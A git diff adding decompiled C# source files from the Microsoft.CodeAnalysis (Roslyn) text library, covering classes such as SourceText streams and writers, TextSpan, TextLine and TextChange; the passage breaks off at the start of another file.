mode 100644 index 0000000..3382725 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextStream.cs @@ -0,0 +1,141 @@ +using System; +using System.IO; +using System.Text; + +namespace Microsoft.CodeAnalysis.Text; + +internal sealed class SourceTextStream : Stream +{ + private readonly SourceText _source; + + private readonly Encoding _encoding; + + private readonly Encoder _encoder; + + private readonly int _minimumTargetBufferCount; + + private int _position; + + private int _sourceOffset; + + private readonly char[] _charBuffer; + + private int _bufferOffset; + + private int _bufferUnreadChars; + + private bool _preambleWritten; + + private static readonly Encoding s_utf8EncodingWithNoBOM = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: false); + + public override bool CanRead => true; + + public override bool CanSeek => false; + + public override bool CanWrite => false; + + public override long Length + { + get + { + throw new NotSupportedException(); + } + } + + public override long Position + { + get + { + return _position; + } + set + { + throw new NotSupportedException(); + } + } + + public SourceTextStream(SourceText source, int bufferSize = 2048, bool useDefaultEncodingIfNull = false) + { + _source = source; + _encoding = source.Encoding ?? s_utf8EncodingWithNoBOM; + _encoder = _encoding.GetEncoder(); + _minimumTargetBufferCount = _encoding.GetMaxByteCount(1); + _sourceOffset = 0; + _position = 0; + _charBuffer = new char[Math.Min(bufferSize, _source.Length)]; + _bufferOffset = 0; + _bufferUnreadChars = 0; + _preambleWritten = false; + } + + public override void Flush() + { + throw new NotSupportedException(); + } + + public override int Read(byte[] buffer, int offset, int count) + { + if (count < _minimumTargetBufferCount) + { + throw new ArgumentException(string.Format("{0} must be greater than or equal to {1}", "count", _minimumTargetBufferCount), "count"); + } + int num = count; + if (!_preambleWritten) + { + int num2 = WritePreamble(buffer, offset, count); + offset += num2; + count -= num2; + } + while (count >= _minimumTargetBufferCount && _position < _source.Length) + { + if (_bufferUnreadChars == 0) + { + FillBuffer(); + } + _encoder.Convert(_charBuffer, _bufferOffset, _bufferUnreadChars, buffer, offset, count, flush: false, out var charsUsed, out var bytesUsed, out var _); + _position += charsUsed; + _bufferOffset += charsUsed; + _bufferUnreadChars -= charsUsed; + offset += bytesUsed; + count -= bytesUsed; + } + return num - count; + } + + private int WritePreamble(byte[] buffer, int offset, int count) + { + _preambleWritten = true; + byte[] preamble = _encoding.GetPreamble(); + if (preamble == null) + { + return 0; + } + int num = Math.Min(count, preamble.Length); + Array.Copy(preamble, 0, buffer, offset, num); + return num; + } + + private void FillBuffer() + { + int num = Math.Min(_charBuffer.Length, _source.Length - _sourceOffset); + _source.CopyTo(_sourceOffset, _charBuffer, 0, num); + _sourceOffset += num; + _bufferOffset = 0; + _bufferUnreadChars = num; + } + + public override long Seek(long offset, SeekOrigin origin) + { + throw new NotSupportedException(); + } + + public override void SetLength(long value) + { + throw new NotSupportedException(); + } + + public override void Write(byte[] buffer, int offset, int count) + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextWriter.cs new file mode 100644 index 0000000..08315e4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SourceTextWriter.cs @@ -0,0 +1,18 @@ +using System.IO; +using System.Text; + +namespace Microsoft.CodeAnalysis.Text; + +internal abstract class SourceTextWriter : TextWriter +{ + public abstract SourceText ToSourceText(); + + public static SourceTextWriter Create(Encoding? encoding, SourceHashAlgorithm checksumAlgorithm, int length) + { + if (length < 40960) + { + return new StringTextWriter(encoding, checksumAlgorithm, length); + } + return new LargeTextWriter(encoding, checksumAlgorithm, length); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/StringBuilderText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/StringBuilderText.cs new file mode 100644 index 0000000..62cc134 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/StringBuilderText.cs @@ -0,0 +1,51 @@ +using System; +using System.Collections.Immutable; +using System.Text; + +namespace Microsoft.CodeAnalysis.Text; + +internal sealed class StringBuilderText : SourceText +{ + private readonly StringBuilder _builder; + + private readonly Encoding? _encodingOpt; + + public override Encoding? Encoding => _encodingOpt; + + internal StringBuilder Builder => _builder; + + public override int Length => _builder.Length; + + public override char this[int position] + { + get + { + if (position < 0 || position >= _builder.Length) + { + throw new ArgumentOutOfRangeException("position"); + } + return _builder[position]; + } + } + + public StringBuilderText(StringBuilder builder, Encoding? encodingOpt, SourceHashAlgorithm checksumAlgorithm) + : base(default(ImmutableArray), checksumAlgorithm) + { + _builder = builder; + _encodingOpt = encodingOpt; + } + + public override string ToString(TextSpan span) + { + if (span.End > _builder.Length) + { + throw new ArgumentOutOfRangeException("span"); + } + return _builder.ToString(span.Start, span.Length); + } + + public override void CopyTo(int sourceIndex, char[] destination, int destinationIndex, int count) + { + _builder.CopyTo(sourceIndex, destination, destinationIndex, count); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/StringText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/StringText.cs new file mode 100644 index 0000000..3357aeb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/StringText.cs @@ -0,0 +1,59 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Text; +using System.Threading; + +namespace Microsoft.CodeAnalysis.Text; + +internal sealed class StringText : SourceText +{ + private readonly string _source; + + private readonly Encoding? _encodingOpt; + + public override Encoding? Encoding => _encodingOpt; + + public string Source => _source; + + public override int Length => _source.Length; + + public override char this[int position] => _source[position]; + + internal StringText(string source, Encoding? encodingOpt, ImmutableArray checksum = default(ImmutableArray), SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1, ImmutableArray embeddedTextBlob = default(ImmutableArray)) + : base(checksum, checksumAlgorithm, embeddedTextBlob) + { + _source = source; + _encodingOpt = encodingOpt; + } + + public override string ToString(TextSpan span) + { + if (span.End > Source.Length) + { + throw new ArgumentOutOfRangeException("span"); + } + if (span.Start == 0 && span.Length == Length) + { + return Source; + } + return Source.Substring(span.Start, span.Length); + } + + public override void CopyTo(int sourceIndex, char[] destination, int destinationIndex, int count) + { + Source.CopyTo(sourceIndex, destination, destinationIndex, count); + } + + public override void Write(TextWriter textWriter, TextSpan span, CancellationToken cancellationToken = default(CancellationToken)) + { + if (span.Start == 0 && span.End == Length) + { + textWriter.Write(Source); + } + else + { + base.Write(textWriter, span, cancellationToken); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/StringTextWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/StringTextWriter.cs new file mode 100644 index 0000000..878b0ee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/StringTextWriter.cs @@ -0,0 +1,45 @@ +using System.Collections.Immutable; +using System.Text; + +namespace Microsoft.CodeAnalysis.Text; + +internal class StringTextWriter : SourceTextWriter +{ + private readonly StringBuilder _builder; + + private readonly Encoding? _encoding; + + private readonly SourceHashAlgorithm _checksumAlgorithm; + + public override Encoding Encoding => _encoding; + + public StringTextWriter(Encoding? encoding, SourceHashAlgorithm checksumAlgorithm, int capacity) + { + _builder = new StringBuilder(capacity); + _encoding = encoding; + _checksumAlgorithm = checksumAlgorithm; + } + + public override SourceText ToSourceText() + { + string source = _builder.ToString(); + Encoding? encoding = _encoding; + SourceHashAlgorithm checksumAlgorithm = _checksumAlgorithm; + return new StringText(source, encoding, default(ImmutableArray), checksumAlgorithm); + } + + public override void Write(char value) + { + _builder.Append(value); + } + + public override void Write(string? value) + { + _builder.Append(value); + } + + public override void Write(char[] buffer, int index, int count) + { + _builder.Append(buffer, index, count); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SubText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SubText.cs new file mode 100644 index 0000000..832fdaf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/SubText.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Immutable; +using System.Text; + +namespace Microsoft.CodeAnalysis.Text; + +internal sealed class SubText : SourceText +{ + public override Encoding? Encoding => UnderlyingText.Encoding; + + public SourceText UnderlyingText { get; } + + public TextSpan UnderlyingSpan { get; } + + public override int Length => UnderlyingSpan.Length; + + internal override int StorageSize => UnderlyingText.StorageSize; + + internal override SourceText StorageKey => UnderlyingText.StorageKey; + + public override char this[int position] + { + get + { + if (position < 0 || position > Length) + { + throw new ArgumentOutOfRangeException("position"); + } + return UnderlyingText[UnderlyingSpan.Start + position]; + } + } + + public SubText(SourceText text, TextSpan span) + : base(default(ImmutableArray), text.ChecksumAlgorithm) + { + if (text == null) + { + throw new ArgumentNullException("text"); + } + if (span.Start < 0 || span.Start >= text.Length || span.End < 0 || span.End > text.Length) + { + throw new ArgumentOutOfRangeException("span"); + } + UnderlyingText = text; + UnderlyingSpan = span; + } + + public override string ToString(TextSpan span) + { + CheckSubSpan(span); + return UnderlyingText.ToString(GetCompositeSpan(span.Start, span.Length)); + } + + public override SourceText GetSubText(TextSpan span) + { + CheckSubSpan(span); + return new SubText(UnderlyingText, GetCompositeSpan(span.Start, span.Length)); + } + + public override void CopyTo(int sourceIndex, char[] destination, int destinationIndex, int count) + { + TextSpan compositeSpan = GetCompositeSpan(sourceIndex, count); + UnderlyingText.CopyTo(compositeSpan.Start, destination, destinationIndex, compositeSpan.Length); + } + + private TextSpan GetCompositeSpan(int start, int length) + { + int num = Math.Min(UnderlyingText.Length, UnderlyingSpan.Start + start); + int num2 = Math.Min(UnderlyingText.Length, num + length); + return new TextSpan(num, num2 - num); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextChange.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextChange.cs new file mode 100644 index 0000000..dadc173 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextChange.cs @@ -0,0 +1,91 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.Serialization; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +[DataContract] +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +public readonly struct TextChange : IEquatable +{ + [DataMember(Order = 0)] + public TextSpan Span { get; } + + [DataMember(Order = 1)] + public string? NewText { get; } + + public static IReadOnlyList NoChanges => SpecializedCollections.EmptyReadOnlyList(); + + public TextChange(TextSpan span, string newText) + { + this = default(TextChange); + if (newText == null) + { + throw new ArgumentNullException("newText"); + } + Span = span; + NewText = newText; + } + + public override string ToString() + { + return $"{GetType().Name}: {{ {Span}, \"{NewText}\" }}"; + } + + public override bool Equals(object? obj) + { + if (obj is TextChange) + { + return Equals((TextChange)obj); + } + return false; + } + + public bool Equals(TextChange other) + { + if (EqualityComparer.Default.Equals(Span, other.Span)) + { + return EqualityComparer.Default.Equals(NewText, other.NewText); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Span.GetHashCode(), NewText?.GetHashCode() ?? 0); + } + + public static bool operator ==(TextChange left, TextChange right) + { + return left.Equals(right); + } + + public static bool operator !=(TextChange left, TextChange right) + { + return !(left == right); + } + + public static implicit operator TextChangeRange(TextChange change) + { + return new TextChangeRange(change.Span, change.NewText.Length); + } + + internal string GetDebuggerDisplay() + { + string newText = NewText; + string text; + if (newText != null) + { + int length = newText.Length; + text = ((length >= 10) ? $"(NewLength = {length})" : ("\"" + NewText + "\"")); + } + else + { + text = "null"; + } + string arg = text; + return $"new TextChange(new TextSpan({Span.Start}, {Span.Length}), {arg})"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextChangeEventArgs.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextChangeEventArgs.cs new file mode 100644 index 0000000..af7e48a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextChangeEventArgs.cs @@ -0,0 +1,30 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Text; + +public class TextChangeEventArgs : EventArgs +{ + public SourceText OldText { get; } + + public SourceText NewText { get; } + + public IReadOnlyList Changes { get; } + + public TextChangeEventArgs(SourceText oldText, SourceText newText, IEnumerable changes) + { + if (changes == null) + { + throw new ArgumentNullException("changes"); + } + OldText = oldText; + NewText = newText; + Changes = changes.ToImmutableArray(); + } + + public TextChangeEventArgs(SourceText oldText, SourceText newText, params TextChangeRange[] changes) + : this(oldText, newText, (IEnumerable)changes) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextChangeRange.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextChangeRange.cs new file mode 100644 index 0000000..5a27f23 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextChangeRange.cs @@ -0,0 +1,98 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +public readonly struct TextChangeRange : IEquatable +{ + public TextSpan Span { get; } + + public int NewLength { get; } + + internal int NewEnd => Span.Start + NewLength; + + public static IReadOnlyList NoChanges => SpecializedCollections.EmptyReadOnlyList(); + + public TextChangeRange(TextSpan span, int newLength) + { + this = default(TextChangeRange); + if (newLength < 0) + { + throw new ArgumentOutOfRangeException("newLength"); + } + Span = span; + NewLength = newLength; + } + + public bool Equals(TextChangeRange other) + { + if (other.Span == Span) + { + return other.NewLength == NewLength; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is TextChangeRange other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(NewLength, Span.GetHashCode()); + } + + public static bool operator ==(TextChangeRange left, TextChangeRange right) + { + return left.Equals(right); + } + + public static bool operator !=(TextChangeRange left, TextChangeRange right) + { + return !(left == right); + } + + public static TextChangeRange Collapse(IEnumerable changes) + { + int num = 0; + int num2 = int.MaxValue; + int num3 = 0; + foreach (TextChangeRange change in changes) + { + num += change.NewLength - change.Span.Length; + if (change.Span.Start < num2) + { + num2 = change.Span.Start; + } + if (change.Span.End > num3) + { + num3 = change.Span.End; + } + } + if (num2 > num3) + { + return default(TextChangeRange); + } + TextSpan span = TextSpan.FromBounds(num2, num3); + int newLength = span.Length + num; + return new TextChangeRange(span, newLength); + } + + private string GetDebuggerDisplay() + { + return $"new TextChangeRange(new TextSpan({Span.Start}, {Span.Length}), {NewLength})"; + } + + public override string ToString() + { + return $"TextChangeRange(Span={Span}, NewLength={NewLength})"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextLine.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextLine.cs new file mode 100644 index 0000000..5d72b64 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextLine.cs @@ -0,0 +1,128 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +public readonly struct TextLine : IEquatable +{ + private readonly SourceText? _text; + + private readonly int _start; + + private readonly int _endIncludingBreaks; + + public SourceText? Text => _text; + + public int LineNumber => _text?.Lines.IndexOf(_start) ?? 0; + + public int Start => _start; + + public int End => _endIncludingBreaks - LineBreakLength; + + private int LineBreakLength + { + get + { + if (_text == null || _text.Length == 0 || _endIncludingBreaks == _start) + { + return 0; + } + TextUtilities.GetStartAndLengthOfLineBreakEndingAt(_text, _endIncludingBreaks - 1, out var _, out var lengthLinebreak); + return lengthLinebreak; + } + } + + public int EndIncludingLineBreak => _endIncludingBreaks; + + public TextSpan Span => TextSpan.FromBounds(Start, End); + + public TextSpan SpanIncludingLineBreak => TextSpan.FromBounds(Start, EndIncludingLineBreak); + + private TextLine(SourceText text, int start, int endIncludingBreaks) + { + _text = text; + _start = start; + _endIncludingBreaks = endIncludingBreaks; + } + + public static TextLine FromSpan(SourceText text, TextSpan span) + { + if (text == null) + { + throw new ArgumentNullException("text"); + } + if (span.Start > text.Length || span.Start < 0 || span.End > text.Length) + { + throw new ArgumentOutOfRangeException("span"); + } + if (text.Length > 0) + { + if (span.Start > 0 && !TextUtilities.IsAnyLineBreakCharacter(text[span.Start - 1])) + { + throw new ArgumentOutOfRangeException("span", CodeAnalysisResources.SpanDoesNotIncludeStartOfLine); + } + bool flag = false; + if (span.End > span.Start) + { + flag = TextUtilities.IsAnyLineBreakCharacter(text[span.End - 1]); + } + if (!flag && span.End < text.Length) + { + int lengthOfLineBreak = TextUtilities.GetLengthOfLineBreak(text, span.End); + if (lengthOfLineBreak > 0) + { + flag = true; + span = new TextSpan(span.Start, span.Length + lengthOfLineBreak); + } + } + if (span.End < text.Length && !flag) + { + throw new ArgumentOutOfRangeException("span", CodeAnalysisResources.SpanDoesNotIncludeEndOfLine); + } + return new TextLine(text, span.Start, span.End); + } + return new TextLine(text, 0, 0); + } + + public override string ToString() + { + if (_text == null || _text.Length == 0) + { + return string.Empty; + } + return _text.ToString(Span); + } + + public static bool operator ==(TextLine left, TextLine right) + { + return left.Equals(right); + } + + public static bool operator !=(TextLine left, TextLine right) + { + return !left.Equals(right); + } + + public bool Equals(TextLine other) + { + if (other._text == _text && other._start == _start) + { + return other._endIncludingBreaks == _endIncludingBreaks; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is TextLine) + { + return Equals((TextLine)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_text, Hash.Combine(_start, _endIncludingBreaks)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextLineCollection.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextLineCollection.cs new file mode 100644 index 0000000..137d800 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextLineCollection.cs @@ -0,0 +1,120 @@ +using System; +using System.Collections; +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis.Text; + +public abstract class TextLineCollection : IReadOnlyList, IEnumerable, IEnumerable, IReadOnlyCollection +{ + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private readonly TextLineCollection _lines; + + private int _index; + + public TextLine Current + { + get + { + int index = _index; + if (index >= 0 && index < _lines.Count) + { + return _lines[index]; + } + return default(TextLine); + } + } + + object IEnumerator.Current => Current; + + internal Enumerator(TextLineCollection lines, int index = -1) + { + _lines = lines; + _index = index; + } + + public bool MoveNext() + { + if (_index < _lines.Count - 1) + { + _index++; + return true; + } + return false; + } + + bool IEnumerator.MoveNext() + { + return MoveNext(); + } + + void IEnumerator.Reset() + { + } + + void IDisposable.Dispose() + { + } + + public override bool Equals(object? obj) + { + throw new NotSupportedException(); + } + + public override int GetHashCode() + { + throw new NotSupportedException(); + } + } + + public abstract int Count { get; } + + public abstract TextLine this[int index] { get; } + + public abstract int IndexOf(int position); + + public virtual TextLine GetLineFromPosition(int position) + { + return this[IndexOf(position)]; + } + + public virtual LinePosition GetLinePosition(int position) + { + TextLine lineFromPosition = GetLineFromPosition(position); + return new LinePosition(lineFromPosition.LineNumber, position - lineFromPosition.Start); + } + + public LinePositionSpan GetLinePositionSpan(TextSpan span) + { + return new LinePositionSpan(GetLinePosition(span.Start), GetLinePosition(span.End)); + } + + public int GetPosition(LinePosition position) + { + if (position.Line >= Count) + { + throw new ArgumentOutOfRangeException("Line", string.Format(CodeAnalysisResources.LineCannotBeGreaterThanEnd, position.Line, Count)); + } + return this[position.Line].Start + position.Character; + } + + public TextSpan GetTextSpan(LinePositionSpan span) + { + return TextSpan.FromBounds(GetPosition(span.Start), GetPosition(span.End)); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextSpan.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextSpan.cs new file mode 100644 index 0000000..977c416 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextSpan.cs @@ -0,0 +1,151 @@ +using System; +using System.Runtime.Serialization; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +[DataContract] +public readonly struct TextSpan : IEquatable, IComparable +{ + [DataMember(Order = 0)] + public int Start { get; } + + public int End => Start + Length; + + [DataMember(Order = 1)] + public int Length { get; } + + public bool IsEmpty => Length == 0; + + public TextSpan(int start, int length) + { + if (start < 0) + { + throw new ArgumentOutOfRangeException("start"); + } + if (start + length < start) + { + throw new ArgumentOutOfRangeException("length"); + } + Start = start; + Length = length; + } + + public bool Contains(int position) + { + return (uint)(position - Start) < (uint)Length; + } + + public bool Contains(TextSpan span) + { + if (span.Start >= Start) + { + return span.End <= End; + } + return false; + } + + public bool OverlapsWith(TextSpan span) + { + int num = Math.Max(Start, span.Start); + int num2 = Math.Min(End, span.End); + return num < num2; + } + + public TextSpan? Overlap(TextSpan span) + { + int num = Math.Max(Start, span.Start); + int num2 = Math.Min(End, span.End); + if (num >= num2) + { + return null; + } + return FromBounds(num, num2); + } + + public bool IntersectsWith(TextSpan span) + { + if (span.Start <= End) + { + return span.End >= Start; + } + return false; + } + + public bool IntersectsWith(int position) + { + return (uint)(position - Start) <= (uint)Length; + } + + public TextSpan? Intersection(TextSpan span) + { + int num = Math.Max(Start, span.Start); + int num2 = Math.Min(End, span.End); + if (num > num2) + { + return null; + } + return FromBounds(num, num2); + } + + public static TextSpan FromBounds(int start, int end) + { + if (start < 0) + { + throw new ArgumentOutOfRangeException("start", CodeAnalysisResources.StartMustNotBeNegative); + } + if (end < start) + { + throw new ArgumentOutOfRangeException("end", string.Format(CodeAnalysisResources.EndMustNotBeLessThanStart, start, end)); + } + return new TextSpan(start, end - start); + } + + public static bool operator ==(TextSpan left, TextSpan right) + { + return left.Equals(right); + } + + public static bool operator !=(TextSpan left, TextSpan right) + { + return !left.Equals(right); + } + + public bool Equals(TextSpan other) + { + if (Start == other.Start) + { + return Length == other.Length; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is TextSpan other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Start, Length); + } + + public override string ToString() + { + return $"[{Start}..{End})"; + } + + public int CompareTo(TextSpan other) + { + int num = Start - other.Start; + if (num != 0) + { + return num; + } + return Length - other.Length; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextUtilities.cs new file mode 100644 index 0000000..fd9c695 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/TextUtilities.cs @@ -0,0 +1,75 @@ +namespace Microsoft.CodeAnalysis.Text; + +internal static class TextUtilities +{ + internal static int GetLengthOfLineBreak(SourceText text, int index) + { + char c = text[index]; + if ((uint)(c - 14) <= 113u) + { + return 0; + } + return GetLengthOfLineBreakSlow(text, index, c); + } + + private static int GetLengthOfLineBreakSlow(SourceText text, int index, char c) + { + if (c == '\r') + { + int num = index + 1; + if (num >= text.Length || '\n' != text[num]) + { + return 1; + } + return 2; + } + if (IsAnyLineBreakCharacter(c)) + { + return 1; + } + return 0; + } + + public static void GetStartAndLengthOfLineBreakEndingAt(SourceText text, int index, out int startLinebreak, out int lengthLinebreak) + { + char c = text[index]; + if (c == '\n') + { + if (index > 0 && text[index - 1] == '\r') + { + startLinebreak = index - 1; + lengthLinebreak = 2; + } + else + { + startLinebreak = index; + lengthLinebreak = 1; + } + } + else if (IsAnyLineBreakCharacter(c)) + { + startLinebreak = index; + lengthLinebreak = 1; + } + else + { + startLinebreak = index + 1; + lengthLinebreak = 0; + } + } + + internal static bool IsAnyLineBreakCharacter(char c) + { + switch (c) + { + case '\n': + case '\r': + case '\u0085': + case '\u2028': + case '\u2029': + return true; + default: + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AbstractLookupSymbolsInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AbstractLookupSymbolsInfo.cs new file mode 100644 index 0000000..6bee23a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AbstractLookupSymbolsInfo.cs @@ -0,0 +1,238 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Linq; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class AbstractLookupSymbolsInfo where TSymbol : class, ISymbolInternal +{ + public struct ArityEnumerator : IEnumerator, IEnumerator, IDisposable + { + private int _current; + + private readonly int _low32bits; + + private int[]? _arities; + + private const int resetValue = -1; + + private const int reachedEndValue = int.MaxValue; + + public int Current => _current; + + object? IEnumerator.Current => _current; + + internal ArityEnumerator(int bitVector, HashSet? arities) + { + _current = -1; + _low32bits = bitVector; + if (arities == null) + { + _arities = null; + return; + } + _arities = arities.ToArray(); + Array.Sort(_arities); + } + + public void Dispose() + { + _arities = null; + } + + public bool MoveNext() + { + if (_current == int.MaxValue) + { + return false; + } + int i; + for (i = ++_current; i < 32; i++) + { + if (((_low32bits >> i) & 1) != 0) + { + _current = i; + return true; + } + } + if (_arities != null) + { + int num = _arities.BinarySearch(i); + if (num < 0) + { + num = ~num; + } + if (num < _arities.Length) + { + _current = _arities[num]; + return true; + } + } + _current = int.MaxValue; + return false; + } + + public void Reset() + { + _current = -1; + } + } + + public interface IArityEnumerable + { + int Count { get; } + + ArityEnumerator GetEnumerator(); + } + + private struct UniqueSymbolOrArities(int arity, TSymbol uniqueSymbol) : IArityEnumerable + { + private object? _uniqueSymbolOrArities = uniqueSymbol; + + private int _arityBitVectorOrUniqueArity = arity; + + private bool HasUniqueSymbol + { + get + { + if (_uniqueSymbolOrArities != null) + { + return !(_uniqueSymbolOrArities is HashSet); + } + return false; + } + } + + public int Count + { + get + { + int num = BitArithmeticUtilities.CountBits(_arityBitVectorOrUniqueArity); + HashSet hashSet = (HashSet)_uniqueSymbolOrArities; + if (hashSet != null) + { + num += hashSet.Count; + } + return num; + } + } + + public void AddSymbol(TSymbol symbol, int arity) + { + if (symbol == null || symbol != _uniqueSymbolOrArities) + { + if (HasUniqueSymbol) + { + _uniqueSymbolOrArities = null; + int arityBitVectorOrUniqueArity = _arityBitVectorOrUniqueArity; + _arityBitVectorOrUniqueArity = 0; + AddArity(arityBitVectorOrUniqueArity); + } + AddArity(arity); + } + } + + private void AddArity(int arity) + { + if (arity < 32) + { + int num = 1 << arity; + _arityBitVectorOrUniqueArity |= num; + return; + } + HashSet hashSet = _uniqueSymbolOrArities as HashSet; + if (hashSet == null) + { + hashSet = (HashSet)(_uniqueSymbolOrArities = new HashSet()); + } + hashSet.Add(arity); + } + + public void GetUniqueSymbolOrArities(out IArityEnumerable? arities, out TSymbol? uniqueSymbol) + { + if (HasUniqueSymbol) + { + arities = null; + uniqueSymbol = (TSymbol)_uniqueSymbolOrArities; + return; + } + object obj; + if (_uniqueSymbolOrArities != null || _arityBitVectorOrUniqueArity != 0) + { + IArityEnumerable arityEnumerable = this; + obj = arityEnumerable; + } + else + { + obj = null; + } + arities = (IArityEnumerable?)obj; + uniqueSymbol = null; + } + + public ArityEnumerator GetEnumerator() + { + return new ArityEnumerator(_arityBitVectorOrUniqueArity, (HashSet)_uniqueSymbolOrArities); + } + } + + private readonly IEqualityComparer _comparer; + + private readonly Dictionary _nameMap; + + internal string? FilterName { get; set; } + + public ICollection Names => _nameMap.Keys; + + public int Count => _nameMap.Count; + + protected AbstractLookupSymbolsInfo(IEqualityComparer comparer) + { + _comparer = comparer; + _nameMap = new Dictionary(comparer); + } + + public bool CanBeAdded(string name) + { + if (FilterName != null) + { + return _comparer.Equals(name, FilterName); + } + return true; + } + + public void AddSymbol(TSymbol symbol, string name, int arity) + { + if (!_nameMap.TryGetValue(name, out var value)) + { + value = new UniqueSymbolOrArities(arity, symbol); + _nameMap.Add(name, value); + } + else + { + value.AddSymbol(symbol, arity); + _nameMap[name] = value; + } + } + + public bool TryGetAritiesAndUniqueSymbol(string name, out IArityEnumerable? arities, out TSymbol? uniqueSymbol) + { + if (!_nameMap.TryGetValue(name, out var value)) + { + arities = null; + uniqueSymbol = null; + return false; + } + value.GetUniqueSymbolOrArities(out arities, out uniqueSymbol); + return true; + } + + public void Clear() + { + _nameMap.Clear(); + FilterName = null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AbstractSyntaxHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AbstractSyntaxHelper.cs new file mode 100644 index 0000000..d1c4604 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AbstractSyntaxHelper.cs @@ -0,0 